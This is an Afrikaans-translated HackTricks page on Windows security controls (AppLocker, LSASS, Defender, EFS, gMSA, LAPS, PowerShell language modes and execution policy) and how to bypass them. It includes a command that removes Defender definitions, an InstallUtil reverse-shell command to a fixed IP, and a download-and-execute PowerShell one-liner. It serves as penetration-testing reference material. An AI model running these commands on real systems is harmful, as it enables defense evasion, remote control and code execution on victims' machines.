20 KiB
Windows Sekuriteitsbeheer
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
AppLocker-beleid
'n Toepassingswitlys is 'n lys goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel uitgevoer te word. Die doel is om die omgewing teen skadelike kwaadwillige sagteware en nie-goedgekeurde sagteware te beskerm wat nie ooreenstem met die spesifieke sakebehoeftes van 'n organisasie nie.
AppLocker is Microsoft se toepassingswitlysoplossing en gee stelseladministrateurs beheer oor watter toepassings en lêers gebruikers kan uitvoer. Dit bied fyn beheer oor uitvoerbare lêers, skripte, Windows-installeerlêers, DLL's, verpakte programme en verpakte programinstalleerders.
Dit is algemeen vir organisasies om cmd.exe en PowerShell.exe te blokkeer en skryftoegang tot sekere gids, maar dit kan alles omseil word.
Kontroleer
Kontroleer watter lêers/uitbreidings op die swartlys/witlys is:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Hierdie registerpad bevat die konfigurasies en beleide wat deur AppLocker toegepas word, en bied 'n manier om die huidige stel reëls wat op die stelsel afgedwing word, te hersien:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Oorspring
- Nuttige Skryfbare lêers om AppLocker-beleid te oorspring: As AppLocker toelaat dat enigiets binne
C:\Windows\System32
ofC:\Windows
uitgevoer word, is daar skryfbare lêers wat jy kan gebruik om dit te oorspring.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Algemeen vertrouwde "LOLBAS's" binaire lêers kan ook nuttig wees om AppLocker te omseil.
- Sleg geskrewe reëls kan ook omseil word
- Byvoorbeeld,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, jy kan enige plek 'n gids genaamdallowed
skep en dit sal toegelaat word. - Organisasies fokus dikwels daarop om die
%System32%\WindowsPowerShell\v1.0\powershell.exe
uitvoerbare lêer te blokkeer, maar vergeet van die ander PowerShell uitvoerbare lêerlokasies soos%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
ofPowerShell_ISE.exe
. - DLL-afdwinging is baie selde geaktiveer as gevolg van die addisionele las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat vereis word om te verseker dat niks sal breek nie. Dus sal die gebruik van DLL's as agterdeure help om AppLocker te omseil.
- Jy kan ReflectivePick of SharpPick gebruik om Powershell-kode in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, kyk hier: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Bewaring van Gelde
Sekuriteitsrekeninge-bestuurder (SAM)
Plaaslike gelde is teenwoordig in hierdie lêer, die wagwoorde is gehash.
Plaaslike Sekuriteitsowerheid (LSA) - LSASS
Die gelde (gehash) word in die geheue van hierdie ondersteuningstelsel gestoor vir enkeltekenaanmeldingsdoeleindes.
LSA administreer die plaaslike sekuriteitsbeleid (wagwoordbeleid, gebruikersregte...), verifikasie, toegangstokens...
LSA sal die een wees wat die voorsiene gelde binne die SAM-lêer sal ondersoek (vir 'n plaaslike aanmelding) en met die domeinbeheerder sal kommunikeer om 'n domeingebruiker te verifieer.
Die gelde word binne die proses LSASS gestoor: Kerberos-kaartjies, NT- en LM-gehashde wagwoorde, maklik ontsleutelbare wagwoorde.
LSA-geheime
LSA kan sommige gelde op die skyf stoor:
- Wagwoord van die rekenaarrekening van die Aktiewe Gids (onbereikbare domeinbeheerder).
- Wagwoorde van die rekeninge van Windows-diens
- Wagwoorde vir geskeduleerde take
- Meer (wagwoord van IIS-toepassings...)
NTDS.dit
Dit is die databasis van die Aktiewe Gids. Dit is slegs teenwoordig in Domeinbeheerders.
Verdediger
Microsoft Verdediger is 'n Antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit blokkeer algemene pentesting-hulpmiddels soos WinPEAS
. Daar is egter maniere om hierdie beskerming te omseil.
Kontroleer
Om die status van Verdediger te kontroleer, kan jy die PS-opdrag Get-MpComputerStatus
uitvoer (kontroleer die waarde van RealTimeProtectionEnabled
om te weet of dit aktief is):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Om dit op te som, kan jy ook uitvoer:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Versleutelde Lêersisteem (EFS)
EFS beveilig lêers deur middel van versleuteling, deur gebruik te maak van 'n simmetriese sleutel wat bekend staan as die Lêerversleutelingssleutel (FEK). Hierdie sleutel word versleutel met die gebruiker se openbare sleutel en binne die versleutelde lêer se $EFS alternatiewe datastroom gestoor. Wanneer dekripsie nodig is, word die ooreenstemmende privaatsleutel van die gebruiker se digitale sertifikaat gebruik om die FEK van die $EFS-stroom te ontsleutel. Meer besonderhede kan hier gevind word hier.
Dekripsiescenarios sonder gebruikersinisiatief sluit in:
- Wanneer lêers of vouers na 'n nie-EFS-lêersisteem soos FAT32 geskuif word, word dit outomaties ontsleutel.
- Versleutelde lêers wat oor die netwerk gestuur word via die SMB/CIFS-protokol, word vooraf ontsleutel voordat dit gestuur word.
Hierdie versleutelingsmetode maak deursigtige toegang tot versleutelde lêers vir die eienaar moontlik. Om te ontsleutel, is dit egter nie genoeg om eenvoudig die eienaar se wagwoord te verander en in te teken nie.
Belangrike punte:
- EFS gebruik 'n simmetriese FEK, wat versleutel word met die gebruiker se openbare sleutel.
- Ontsleuteling maak gebruik van die gebruiker se privaatsleutel om toegang tot die FEK te verkry.
- Outomatiese ontsleuteling vind plaas onder spesifieke omstandighede, soos kopieer na FAT32 of netwerkvervoer.
- Versleutelde lêers is toeganklik vir die eienaar sonder addisionele stappe.
Kontroleer EFS-inligting
Kontroleer of 'n gebruiker hierdie diens gebruik het deur te kyk of hierdie pad bestaan: C:\users\<gebruikersnaam>\appdata\roaming\Microsoft\Protect
Kyk wie toegang het tot die lêer deur cipher /c \<lêer>\
te gebruik.
Jy kan ook cipher /e
en cipher /d
binne 'n vouer gebruik om al die lêers te versleutel en ontsleutel.
Ontsleutel EFS-lêers
Wees die Gesagstelsel
Hierdie metode vereis dat die slagoffer-gebruiker 'n proses binne die gasheer uitvoer. As dit die geval is, kan jy met behulp van 'n meterpreter
-sessie die token van die gebruiker se proses naboots (impersonate_token
van incognito
). Of jy kan eenvoudig na die proses van die gebruiker migreer
.
Weet die gebruiker se wagwoord
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Groepbestuurde Diensrekeninge (gMSA)
Microsoft het Groepbestuurde Diensrekeninge (gMSA) ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. In teenstelling met tradisionele diensrekeninge wat dikwels die "Wagwoord verval nooit" instelling geaktiveer het, bied gMSAs 'n meer veilige en bestuurbare oplossing:
- Outomatiese Wagwoordbestuur: gMSAs gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens die domein- of rekenaarbeleid. Hierdie proses word hanteer deur Microsoft se Sleutelverspreidingsdiens (KDC), wat die noodsaaklikheid van handmatige wagwoordopdaterings uitskakel.
- Verbeterde Veiligheid: Hierdie rekeninge is immuun teen blokkering en kan nie gebruik word vir interaktiewe aanmeldings nie, wat hul veiligheid verbeter.
- Ondersteuning vir Meervoudige Gasheer: gMSAs kan gedeel word oor verskeie gasheerders, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
- Beplande Taakvermoë: In teenstelling met bestuurde diensrekeninge ondersteun gMSAs die uitvoer van beplande take.
- Vereenvoudigde SPN-bestuur: Die stelsel werk outomaties die Diensprinsipaalnaam (SPN) by wanneer daar veranderinge is aan die sAMaccountbesonderhede of DNS-naam van die rekenaar, wat SPN-bestuur vereenvoudig.
Die wagwoorde vir gMSAs word gestoor in die LDAP-eienskap msDS-ManagedPassword en word elke 30 dae outomaties gereset deur Domeinbeheerders (DC's). Hierdie wagwoord, 'n versleutelde datablob wat bekend staan as MSDS-MANAGEDPASSWORD_BLOB, kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSAs geïnstalleer is, verkry word, wat 'n veilige omgewing verseker. Om toegang tot hierdie inligting te verkry, is 'n beveiligde verbinding soos LDAPS vereis, of die verbinding moet geoutentiseer word met 'Sealing & Secure'.
Jy kan hierdie wagwoord lees met GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Vind meer inligting in hierdie pos
Kyk ook na hierdie webwerf oor hoe om 'n NTLM-relay-aanval uit te voer om die wagwoord van gMSA te lees.
LAPS
Die Local Administrator Password Solution (LAPS), beskikbaar vir aflaai vanaf Microsoft, maak die bestuur van plaaslike Administrateur-wagwoorde moontlik. Hierdie wagwoorde, wat willekeurig, uniek en gereeld verander word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde word beperk deur ACL's aan gemagtigde gebruikers. Met voldoende toestemmings verleen, word die vermoë om plaaslike administrateurwagwoorde te lees, verskaf.
{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
PS Beperkte Taalmodus
PowerShell Beperkte Taalmodus sluit baie van die funksies af wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-voorwerpe, slegs goedgekeurde .NET-tipes toe te laat, XAML-gebaseerde werkstrome, PowerShell-klasse en meer.
Kyk
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Deurloop
'n Deurloop is 'n tegniek wat gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Hier is 'n paar deurloop tegnieke wat gebruik kan word:
- UAC Deurloop: Hierdie tegniek maak gebruik van 'n swakheid in die Gebruikersrekeningbeheer (UAC) funksie om beheerderstoegang te verkry sonder om 'n wagwoord te vereis.
- EFS Deurloop: Hierdie tegniek maak gebruik van 'n swakheid in die Encrypting File System (EFS) om toegang tot versleutelde lêers te verkry sonder die korrekte sleutel.
- Credential Deurloop: Hierdie tegniek maak gebruik van gesteelde of gekraakte legitimasie-inligting om toegang tot 'n stelsel te verkry sonder om 'n wagwoord te vereis.
Dit is belangrik om te verstaan dat deurloop tegnieke onwettig is en slegs gebruik moet word vir wettige doeleindes soos pentesting of om sekuriteitslekke te identifiseer.
#Easy bypass
Powershell -version 2
In die huidige Windows sal daardie omseiling nie werk nie, maar jy kan PSByPassCLM gebruik.
Om dit te kompileer, mag jy nodig hê om 'n Verwysing by te voeg -> Deursoek -> Deursoek -> voeg C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
by en verander die projek na .Net4.5.
Direkte omseiling:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Omgekeerde skulp:
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. The reverse shell is commonly used in post-exploitation activities during a penetration test.
'n Omgekeerde skulp is 'n tipe skulp waarin die teikermasjien die verbinding met die aanvaller se masjien inisieer. Dit stel die aanvaller in staat om afstandsbeheer oor die teikermasjien te verkry en opdragte uit te voer. Die omgekeerde skulp word gewoonlik gebruik in post-exploitasie-aktiwiteite tydens 'n penetrasietoets.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Jy kan ReflectivePick of SharpPick gebruik om Powershell-kode in enige proses uit te voer en die beperkte modus te omseil. Vir meer inligting, kyk hier: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
PS Uitvoeringsbeleid
Standaard is dit ingestel op beperk. Die hoofmaniere om hierdie beleid te omseil:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Meer kan hier gevind word hier
Security Support Provider Interface (SSPI)
Is die API wat gebruik kan word om gebruikers te verifieer.
Die SSPI sal verantwoordelik wees om die geskikte protokol te vind vir twee masjiene wat wil kommunikeer. Die voorkeurmetode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter verifikasieprotokol gebruik sal word, hierdie verifikasieprotokolle word Security Support Provider (SSP) genoem, hulle is geleë binne elke Windows-masjien in die vorm van 'n DLL en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
Hoof SSP's
- Kerberos: Die voorkeur een
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 en NTLMv2: Verenigbaarheidsredes
- %windir%\Windows\System32\msv1_0.dll
- Digest: Webbedieners en LDAP, wagwoord in die vorm van 'n MD5-hash
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL en TLS
- %windir%\Windows\System32\Schannel.dll
- Onderhandel: Dit word gebruik om die protokol te onderhandel wat gebruik moet word (Kerberos of NTLM, waarvan Kerberos die verstekprotokol is)
- %windir%\Windows\System32\lsasrv.dll
Die onderhandeling kan verskeie metodes of slegs een bied.
UAC - Gebruikersrekeningbeheer
Gebruikersrekeningbeheer (UAC) is 'n funksie wat 'n toestemmingprompt vir verhoogde aktiwiteite moontlik maak.
{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Gebruik Trickest om maklik werkstrome te bou en outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.